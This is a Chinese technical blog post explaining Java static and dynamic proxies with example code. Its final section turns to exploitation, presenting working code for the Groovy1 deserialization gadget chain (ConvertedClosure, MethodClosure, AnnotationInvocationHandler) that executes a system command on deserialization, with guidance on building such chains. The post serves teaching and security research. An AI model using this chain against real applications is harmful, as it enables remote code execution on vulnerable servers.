JAVA静态代理和动态代理

news2024/9/17 9:07:35

前言:

静态代理:

  • 静态代理是在编译时就已经确定了代理类的具体实现。
  • 代理类需要实现与目标类相同的接口,并且持有目标对象的引用。
  • 在代理类中实现对目标方法的增强或修改。
  • 静态代理的优点是实现简单,可以很好地控制目标对象的行为。缺点是每个目标对象都需要创建一个代理类,造成代码冗余。

动态代理:

  • 动态代理是在运行时动态生成代理类的实现。
  • 动态代理不需要事先知道目标类的具体实现,而是通过反射机制在运行时动态生成代理类。
  • 动态代理需要实现 InvocationHandler 接口,在 invoke() 方法中实现对目标方法的增强或修改。
  • 动态代理的优点是实现灵活,可以针对不同的目标对象生成代理类,减少了代码冗余。缺点是实现相对复杂,需要一定的反射知识。

上面是针对静态代理和动态代理的基本概念,下面我们分别进行讲解

静态代理:

静态代理流程也很简单,首先要创建接口,然后实现接口,最后调用接口实现功能即可,这里编写了测试代码,首先创建接口:

package org.example.ProxyStatic;

interface Subject {
    public void run();
}

然后编写代码实现接口run:

package org.example.ProxyStatic;

public class StaticRealSubject implements Subject {

    @Override
    public void run() {
        System.out.println("RealSubject run");
    }
}

编写代码实现接口run,内部嵌套实现上面的run接口:

package org.example.ProxyStatic;


public class StaticProxy implements Subject {
    private StaticRealSubject staticRealSubject;

    public StaticProxy(StaticRealSubject staticRealSubject) {
        this.staticRealSubject = staticRealSubject;
    }

    @Override
    public void run() {
        System.out.println("myProxy doing something before...");
        staticRealSubject.run();
        System.out.println("myProxy doing something after...");
    }
}

 调用函数:

    public void mymainStatic(){
        StaticRealSubject staticRealSubject = new StaticRealSubject();
        StaticProxy proxy = new StaticProxy(staticRealSubject);
        proxy.run();
    }

执行完成后会依次输出内容:

可以看到静态代理本质上还是需要实例化对象后执行。

动态代理:

动态代理主要通过InvocationHandler(接口)和Proxy(类),下面我们先对两个进行介绍:

InvocationHandler:

InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法,每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用

 Proxy(类):

Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance方法。

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

这个方法的作用就是创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

  1. ClassLoader :一个Classloader对象,定义了由哪个classloader对象来加载生成的代理类
  2. Class<?>[]:一个接口对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,相当于代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。
  3. InvocationHandler :一个InvocationHandler对象,表示的是当动态代理对象(需要执行代理方法的类)调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由这个InvocationHandler对象调用。

测试: 

为了更好的理解,下面我们进行实践:

 首先创建接口:

package org.example.ProxyDynamic;

public interface Subject {
    void doSomething();
    void doRun();
}

 然后实现接口的方法:

package org.example.ProxyDynamic;

public class DynamicRealSubject implements Subject{
    @Override
    public void doSomething() {
        System.out.println("RealSubject doing something...");
    }

    @Override
    public void doRun() {
        System.out.println("RealSubject doing doRun...");
    }

}

 最后通过关键字implements实现InvocationHandler的invoke接口:

package org.example.ProxyDynamic;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class DynamicProxy implements InvocationHandler {
    private Object target;

    public DynamicProxy(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Proxy doing something before...");
        Object result = method.invoke(this.target, args);
        System.out.println("Proxy doing something after...");
        return result;
    }
}

对应的调用方法如下:

    public void myMainDynamic(){
        // 使用
        DynamicRealSubject dynamicRealSubject = new DynamicRealSubject();
        Subject proxy = (Subject) Proxy.newProxyInstance(
                DynamicRealSubject.class.getClassLoader(),
                new Class[]{Subject.class},
                new DynamicProxy(dynamicRealSubject)
        );
         proxy.doRun();
    }

 上述代码调用Proxy.newProxyInstance实现了动态代理,其中第一个参数无需太多关注,第二个参数为一个接口对象数组,对应的就是返回的方法中提供了哪些接口方法可以被调用,最后一个参数就是我们需要去调用的动态方法。

整体流程就是我们需要第二个参数返回一个对象数组,我们这里为new Class[]{Subject.class},则我们可以调用Subject的接口doRun,然后会去执行DynamicProxy类下的invoke来实现具体的逻辑。

执行结果如下:

下面我们针对Proxy.newProxyInstance做个测试,测试代码如下:

    public void TestProxy(){
        ClassLoader classLoader = Map.class.getClassLoader();
        Class classmy = Map.class;
        StaticRealSubject staticRealSubject = new StaticRealSubject();
        DynamicRealSubject dynamicRealSubject = new DynamicRealSubject();
        Class<?>[] allIfaces = new Class[]{Subject.class};
        Subject proxy = (Subject) Proxy.newProxyInstance(
                BeanComparator.class.getClassLoader(),
                allIfaces,
                new DynamicProxy(dynamicRealSubject)
                );
        proxy.doRun();

        System.out.printf("===================\n");
        HashMap hashMap = new HashMap();
        hashMap.put("aa","1111");
        allIfaces = new Class[]{Map.class};
        Map proxy2 = (Map) Proxy.newProxyInstance(
                BeanComparator.class.getClassLoader(),
                allIfaces,
                new DynamicProxy(hashMap)
        );
        HashMap aa = (HashMap) proxy2.put("cc","222");
    }

首先我们修改了第一个参数为BeanComparator.class.getClassLoader(),看是否会有影响,第二个我们希望实现动态代理Map看能否实现:

首先看第一处的结果:

可以看到可以正常返回,结合代码分析,此处只要是Classloader即可,只要其为接口即可,并不会对执行有影响。

第二个我们执行后可以看到,成功通过动态代理调用了Map的put方法:

为什么要研究这些,因为我们可以利用动态代理的这些特性来构建我们的攻击链

利用:

这里我们针对org.codehaus.groovy:groovy:2.3.9的Groovy1进行讲解,首先编写测试代码如下:

    public static void TestCreateProxy() throws Exception{
        try{
            //class org.codehaus.groovy.runtime.MethodClosure
            //java.lang.Runtime
            final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc", "execute"), "entrySet");
            Class<?>[] interfaces = Map.class.getInterfaces();
            final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, interfaces.length+1 );
            allIfaces[ 0 ] = Map.class;
            if ( interfaces.length > 0 ) {
                System.arraycopy(interfaces, 0, allIfaces, 1, interfaces.length);
            }

            Object object = Proxy.newProxyInstance(Main.class.getClassLoader(), allIfaces, closure);

            final Map map = Map.class.cast(object);
            //Class class1 = sun.reflect.annotation.AnnotationInvocationHandler
            final InvocationHandler handler = (InvocationHandler) ysoserial_reflect.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);

            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);
            objOut.writeObject(handler);

            ByteArrayInputStream btin = new ByteArrayInputStream(buf.toByteArray());
            ObjectInputStream objIn = new ObjectInputStream(btin);
            objIn.readObject();

        }catch (Exception e) {
            e.printStackTrace();
            System.out.print(e);
        }
    }

其具体的调用链如下: 

大概分析下具体流程:

(InvocationHandler) ysoserial_reflect.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);

上述代码执行执行完成后会设置this.memberValues,即:

this.type=Override.class
this.memberValues = map

反序列化的时候执行sun.reflect.annotation.AnnotationInvocationHandler的readObject方法:

这里需要注意虽然我们的 this.memberValues是map类型,但是代码中可以看到为代理的closure方法:

Object object = Proxy.newProxyInstance(Object.class.getClassLoader(), allIfaces, closure);
final Map map = Map.class.cast(object);

所以当执行到AnnotationInvocationHandler的如下代码的时候就会进入到ConvertedClosure的invokeCustom方法中,而不是执行map.entrySet

 for (Map.Entry<String, Object> memberValue : streamVals.entrySet())

当我们执行 streamVals.entrySet(),进入到如下代码:

这里就是为什么我们需要设置methodName为 entrySet,而不是其他,当执行streamVals.*的时候都会到invokeCustom方法中执行,但是为了调用call,而不是前面的NULL,我们必须使this.methodName和method.getName相同,因此必须设置为entrySet

最后就是通过调用Groovy执行命令,类似如下代码可以弹出计算器:

MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();

利用this.getDelegate()).call(args)可以执行mc.call(null),进而成功利用Groovy执行命令

总结:

通过动态代理Proxy.newProxyInstance我们可以构建很多的攻击链,需要注意的就是对应的参数,参数二为要返回的接口类型,参数三为我们动态代理的类,需要继承InvocationHandler

当代码动态加载接口的时候会自动进入代理对象的invoke方法执行,所以无需关注其动态代理调用的是什么方法,除非进入invoke方法后有验证,否则只要调用动态类,就会进入invoke方法执行逻辑。

因此我们在构建攻击链的时候需要注意我们需要构建的动态代理是否会在readObject中被调用,调用后invoke方法中是否会触发我们的恶意代码,如果满足上述条件就是一个合格的攻击链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1963554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从光速常数的可变性看宇宙大爆炸的本质

基于先前关于光速本质的讨论&#xff0c;让我们从函数图像看看宇宙大爆炸到底是什么。 先前已经讨论过&#xff0c;在量子尺度上&#xff0c;长度的实际对应物是频率的差异&#xff0c;因为只有频率差异才能在这个尺度上区分相邻时空的两点&#xff0c;而两点之间“差异的大小”…

再不怕数据丢失了!全量增量的迁移工具发布!

随着用户量的增加,我们收到了各种各样的需求反馈。 为了更好地拓展Chat2DB Pro 产品, 我们很高兴地宣布推出了插件市场功能, 同时重磅推出数据迁移工具DBMotion插件。 &#x1f680; 关于 DBMotion 插件 DBMotion插件&#xff0c;是一款基于沃趣科技的 DBMotion 数据迁移工具…

软件兼容性测试内容和步骤简析,湖南软件测评公司分享

软件兼容性测试是确保软件产品在不同的硬件环境、操作系统、浏览器和设备上正常运行的重要环节。随着科技的迅猛发展&#xff0c;各类软件应用层出不穷&#xff0c;用户对软件的多样性需求日益增加&#xff0c;软件的兼容性显得尤为重要。 软件兼容性测试内容包含多个方面&…

RocketMQ中的参数约束和建议

消息发送重试次数&#xff1a; 默认值&#xff1a;3次。&#xff08;取值范围&#xff1a;无限制&#xff09; 消息发送重试和流控机制 | RocketMQ 消息消费重试次数&#xff1a; 默认值&#xff1a;16次。

便携式挂椅美国认证标准ASTM F1235测试,CPC认证

亚马逊作为一家致力于保障消费者权益的电商平台&#xff0c;亚马逊对便携式挂椅这一儿童用品的安全性有着严格的要求。为了确保儿童在使用过程中的安全&#xff0c;要求所有便携式挂椅必须经过特定法规或标准的检测&#xff0c;并符合相应的要求。 便携式挂椅是一种无腿座椅&am…

Linux 安装 MySQL

Linux 安装 MySQL 1. 下载 官网&#xff1a;https://downloads.mysql.com/archives/community/ 选择自己对应版本下载即可 百度网盘下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1LDGptcllwO4n5yeln4rgPA?pwdszi9 提取码&#xff1a;szi9 上面截图是8.4.0…

Python爬虫知识体系-----Selenium

数据科学、数据分析、人工智能必备知识汇总-----Python爬虫-----持续更新&#xff1a;https://blog.csdn.net/grd_java/article/details/140574349 文章目录 一、安装和基本使用二、元素定位三、访问元素信息四、自动化交互五、PhantomJS六、Chrome headless 一、安装和基本使用…

一刷代码随想录(贪心12)

贪心算法理论基础 刷题或者面试的时候&#xff0c;手动模拟一下感觉可以局部最优推出整体最优&#xff0c;而且想不到反例&#xff0c;那么就试一试贪心。 例如刚刚举的拿钞票的例子&#xff0c;就是模拟一下每次拿做大的&#xff0c;最后就能拿到最多的钱&#xff0c;这还要…

对称字符串

import java.util.Scanner; /*** author gyf* ClassName Test* Date 2024/7/31 13:39* Version V1.0* Description :*/ public class Test {public static void main(String[] args) {// StringBuilder 的场景// 1.字符串的拼接// 2.字符串的反转Scanner scanner new Scanner(…

Maven问题:IDEA无法创建javaweb和没有web Application支持的方案

解决方案一&#xff1a; 项目右键单击&#xff0c;点击add framework support 完成后就出现了web文件夹 解决方案二 右键单击后没有add framework support,先制作该功能的快捷键&#xff0c;添加快捷键之后按照解决方案1操作 注&#xff1a; 如果按照以上步骤均创建不成…

springboot业务层service开发全过程(以mybatis-plus为例)

在配置完数据层Dao/Mapper层的基础上&#xff0c;接下来我们要开始实现业务层的开发。 数据层和业务层的区别&#xff1a; 简单来说业务层是数据层的一个升级&#xff0c;从名字上也可以看出&#xff0c;数据层要想查询一个ID&#xff0c;都是需要定义SelectById这样的名称&a…

零门槛AI 绘图:教你为客户定制 ComfyUI Serverless API 应用

作者&#xff1a;鸥弋、筱姜 2023年下半年&#xff0c;ComfyUI 以其快速、流畅的图像生成能力&#xff0c;结合多样的自定义节点&#xff0c;迅速在创作者中流行起来。ComfyUI 的亮点就是能够批量化生成图像&#xff0c;一键加载大量工作流&#xff0c;让用户可以轻松实现人像…

代理仓业务好做吗?有没有什么系统可以打理的?

做海外仓代理相对自建海外仓而言&#xff0c;风险较小&#xff0c;更适合货代&#xff0c;但也需要面对一些难题&#xff1a;仓库管理、市场拓展、多仓协同、打通接口等。易境通DWMS系统就可以让海外仓代理变得简单明晰&#xff0c;让刚进入这个领域的小白也可以成功转型&#…

各类网页设计的设计尺寸大揭秘

我们讨论网页的大小时&#xff0c;我们需要明白这不仅仅是一个数字。在一个充满随时变化和创新的数字世界中&#xff0c;网页的建立和设计应考虑设备类型、屏幕大小和分辨率、用户浏览习惯等诸多因素。本文将深入分析这个主题&#xff0c;以帮助您充分理解这种情况&#xff0c;…

tensorRT 自带测试样例 sampleOnnxMNIST 源码分析

该测试样例是进行手写数字识别&#xff0c;使用 Visual Studio 2022 打开 tensorRT安装目录下的 samples 下的 sampleOnnxMNIST 工程( 例如我的是 D:\install\tensorRT\TensorRT-8.6.1.6\samples\sampleOnnxMNIST )&#xff0c;执行输出结果&#xff1a; 成功识别出数字0&#…

ai模特换装软件哪个好用?不知道怎么穿搭就用这几个

最近#紫色跑道的city穿搭#风靡全网&#xff0c;大家纷纷晒出自己的紫色风情。 可一想到衣橱里堆积如山的衣服和钱包的“瘦身计划”&#xff0c;是不是有点小纠结&#xff1f; 别怕&#xff0c;科技来救场&#xff01;那就是“一键换装在线工具”&#xff0c;让你无需剁手&…

【初阶数据结构】11.排序(2)

文章目录 2.3 交换排序2.3.1 冒泡排序2.3.2 快速排序2.3.2.1 hoare版本2.3.2.2 挖坑法2.3.2.3 lomuto前后指针2.3.2.4 非递归版本 2.4 归并排序2.5 测试代码&#xff1a;排序性能对比2.6 非比较排序2.6.1 计数排序 3.排序算法复杂度及稳定性分析 2.3 交换排序 交换排序基本思想…

2024最新 Navicat Premium 17 简体中文激活版详细安装教程(最简单的激活方式)

一、下载地址 下载链接&#xff1a;分享文件&#xff1a;Navicat Premium 17.0.8 (x64) 中文版.zip 二、安装步骤 1、解压后点击运行navicat170_premium_cs_x64.exe 2、开始安装 3、选择安装路径&#xff0c;最好不要放在系统盘C盘&#xff0c;后面两个步骤默认 4、安装中&a…

【小知识】黑白分明的计算机世界——关系表达式,逻辑表达式和三目运算符

【小知识】黑白分明的计算机世界——关系表达式&#xff0c;逻辑表达式和三目运算符 1.逻辑变量2.关系表达式和逻辑表达式2.1.关系表达式2.1.1.例题——a和b的关系2.1.2.浮点数精度误差 2.2.逻辑表达式2.2.1.常见的逻辑运算符2.2.2.优先级2.2.3.注意事项2.2.3.1.在写逻辑表达式…

书生大模型学习笔记 - 连接云端开发机

申请InternStudio开发机&#xff1a; 这里进去报名参加实战营即可获取 书生大模型实战营 InternStudio平台 创建开发机 SSH连接开发机&#xff1a; SSH免密码登录 本地创建SSH密钥 ssh-keygen -t rsa打开以下文件获取公钥 ~/.ssh/id_rsa.pub去InternStudio添加公钥 …